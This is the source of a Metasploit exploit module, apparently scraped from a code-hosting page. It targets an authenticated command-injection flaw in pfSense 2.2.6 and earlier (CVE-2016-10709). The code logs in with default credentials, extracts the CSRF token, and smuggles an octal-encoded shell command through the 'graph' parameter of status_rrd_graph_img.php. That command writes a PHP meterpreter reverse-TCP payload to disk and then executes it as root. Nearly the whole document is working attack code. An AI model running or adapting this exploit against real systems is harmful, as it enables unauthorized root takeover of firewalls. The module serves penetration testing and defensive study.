Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/pfsense_graph_injection_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'pfSense authenticated graph status RCE',16'Description' => %q(17pfSense, a free BSD based open source firewall distribution,18version <= 2.2.6 contains a remote command execution19vulnerability post authentication in the _rrd_graph_img.php page.20The vulnerability occurs via the graph GET parameter. A non-administrative21authenticated attacker can inject arbitrary operating system commands22and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.23),24'Author' =>25[26'Security-Assessment.com', # discovery27'Milton Valencia', # metasploit module <wetw0rk>28'Jared Stephens', # python script <mvrk>29],30'References' =>31[32[ 'CVE', '2016-10709' ],33[ 'EDB', '39709' ],34[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']35],36'License' => MSF_LICENSE,37'Platform' => 'php',38'Privileged' => 'true',39'DefaultOptions' =>40{41'SSL' => true,42'PAYLOAD' => 'php/meterpreter/reverse_tcp',43'Encoder' => 'php/base64'44},45'Arch' => [ ARCH_PHP ],46'Payload' =>47{48'Space' => 6000,49'Compat' =>50{51'ConnectionType' => '-bind',52}53},54'Targets' => [[ 'Automatic Target', {} ]],55'DefaultTarget' => 0,56'DisclosureDate' => '2016-04-18',57)58)5960register_options(61[62OptString.new('USERNAME', [ true, 'User to login with', 'admin']),63OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']),64Opt::RPORT(443)65], self.class66)67end6869def login70res = send_request_cgi(71'uri' => '/index.php',72'method' => 'GET'73)74fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?75fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 2007677/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body78fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?79vprint_status("CSRF Token for login: #{csrf}")8081res = send_request_cgi(82'uri' => '/index.php',83'method' => 'POST',84'vars_post' => {85'__csrf_magic' => csrf,86'usernamefld' => datastore['USERNAME'],87'passwordfld' => datastore['PASSWORD'],88'login' => ''89}90)91unless res92fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")93end94if res.code == 30295vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")96return res.get_cookies97else98fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")99return nil100end101end102103def detect_version(cookie)104res = send_request_cgi(105'uri' => '/index.php',106'method' => 'GET',107'cookie' => cookie108)109unless res110fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")111end112/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body113if version114print_status("Detected pfSense #{version}, uploading intial payload")115return Rex::Version.new(version)116end117# If the device isn't fully setup, you get stuck at redirects to wizard.php118# however, this does NOT stop exploitation strangely119print_error('pfSense version not detected or wizard still enabled.')120Rex::Version.new('0.0')121end122123def exploit124begin125cookie = login126version = detect_version(cookie)127filename = rand_text_alpha(rand(1..10))128129# generate the PHP meterpreter payload130stager = 'echo \'<?php '131stager << payload.encode132stager << "?>\' > #{filename}"133# here we begin the encoding process to134# convert the payload to octal! Ugly code135# don't look136complete_stage = ""137for i in 0..(stager.length()-1)138if version.to_s =~ /2.2/139complete_stage << '\\'140end141complete_stage << "\\#{stager[i].ord.to_s(8)}"142end143144res = send_request_cgi(145'uri' => '/status_rrd_graph_img.php',146'method' => 'GET',147'cookie' => cookie,148'vars_get' => {149'database' => '-throughput.rrd',150'graph' => "file|printf '#{complete_stage}'|sh|echo",151}152)153154if res && res.code == 200155print_status('Payload uploaded successfully, executing')156register_file_for_cleanup(filename)157else158print_error('Failed to upload payload...')159end160161res = send_request_cgi({162'uri' => '/status_rrd_graph_img.php',163'method' => 'GET',164'cookie' => cookie,165'vars_get' => {166'database' => '-throughput.rrd',167'graph' => "file|php #{filename}|echo "168}169})170disconnect171end172end173end174175176